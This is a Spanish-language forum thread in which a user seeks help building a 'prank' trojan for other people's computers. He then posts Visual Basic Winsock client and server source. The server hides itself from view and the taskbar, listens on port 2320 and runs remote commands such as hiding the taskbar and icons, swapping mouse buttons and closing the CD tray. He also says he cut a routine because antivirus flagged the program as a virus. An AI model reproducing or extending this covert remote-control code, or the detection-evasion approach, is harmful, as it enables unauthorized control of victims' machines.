¡¡¡Ayuda!!!

Hola no sabia donde debia publicar esto pero pense que aca era lo correcto....bueno mi problema es que ....por ejemplo tengo un troyano que lo unico que hace es entrar en la pc del otro...pero me gustaria poder crear un programa para que pueda hacerle bromas y capturas de pantalla y esas cosas....Salu2...Gracias

Date una vuelta por la seccion de troyanos y pegale una leida a los temas mas importantes.

Saludos............. Cool

perooo...creo que no me entendes....lo que quiero no es un troyano....por que ya tengo uno...lo que nesecito es poder crear un programita que haga todas esas bormas que tienen los troyanos....Salu2 gracias!!!

Pues tienes que aprender a programar, pásate por el subforo de batch y lee un poco, enseguida aprenderás a hacer bromas muy fácilmente.

jajja...
no cambio mucho este foro ehh...
para crear cosas, hay que aprender...
para correr, primero hayq saber caminar.

batch?
no pierdas tiempo.
arranca directo con VB, si lo uniko q te interesan son los troyanos...

www.google.com

ahi esta TODO.

y en este foro, HABIAN muchas cosas interesnates, alstima lo del problema con el backup del foro, se perdieron taaantas cosas....

Biocode.

si...e encontrado un manual para crear un troyano muy facil y sencillo que solo sirve para mandar comandos MS-DOS, asique tengo que buscar para apagar la pantalla desde MS-DOS y un par de bromas mas.....Salu2

Cita de: __68_Zauron_Arg en Marzo 05, 2008, 01:03:00

Si te entendi bien lo que pasa es que no te has fijado en la seccion de troyanos ahi hay bastante info.

Saludos Cool

hola miren....me pude crear un troyano qeu solo sirve para mandar bromas....y no puedo agregar para poder apagar y reiniciar la pc....Les pongo el Code? Huh

....del server o cliente???

de los dos.
usas winsock o api's ?
postea el code.

Biocode.

Bueno esta bien

winsock

Este es el Cliente......:

Código:

Private Sub cdc_Click()
clijent.SendData "cdc"
DoEvents
End Sub

Private Sub cdo_Click()
clijent.SendData "cdo"
DoEvents
End Sub

Private Sub ch_Click()
clijent.SendData "c"
DoEvents
End Sub

Private Sub Command1_Click()
clijent.Close
clijent.Connect Text1.Text, 2320
End Sub

Private Sub Form_Unload(Cancel As Integer)
clijent.Close
End
End Sub

Private Sub Hd_Click()
clijent.SendData "hd"
DoEvents
End Sub

Private Sub Ht_Click()
clijent.SendData "ht"
DoEvents
End Sub

Private Sub Image8_Click()
Unload Me
End Sub

Private Sub sc_Click()
clijent.SendData "co"
DoEvents
End Sub

Private Sub Sd_Click()
clijent.SendData "sd"
DoEvents
End Sub

Private Sub st_Click()
clijent.SendData "st"
DoEvents
End Sub

Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Command1 = True
End Sub

Private Sub Timer1_Timer()
Label1.Caption = clijent.State
End Sub

Este Es El Server....:

Código:

Option Explicit
Private Sub Form_load()
Me.Hide
server.Close
server.Listen
App.TaskVisible = False
Me.Hide
End Sub

Private Sub Form_Unload(Cancel As Integer)
server.Close
End Sub

Private Sub server_ConnectionRequest(ByVal requestID As Long)
server.Close
server.Accept requestID
End Sub

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "cdc"
CloseCDROM

Case "ht"
TaskBarHide
Case "st"
TaskBarShow
Case "hd"
DesktopIconsHide
Case "sd"
DesktopIconsShow
Case "c"
FlipMouseButtons
Case "co"
FlipMouseButtonsBack

End Select
End Sub

El De Open Cd Rom lo borre por que me analizaba el troayano como virus asi que borre la linea de Open Cd Rom

Salu2

bueno ahi les deje el codigooo....gracias!!!...Salu2

	Bienvenido(a), Visitante. Favor de ingresar o registrarse. ¿Perdiste tu email de activación? - Julio 24, 2008, 08:45:13 Boton Buscar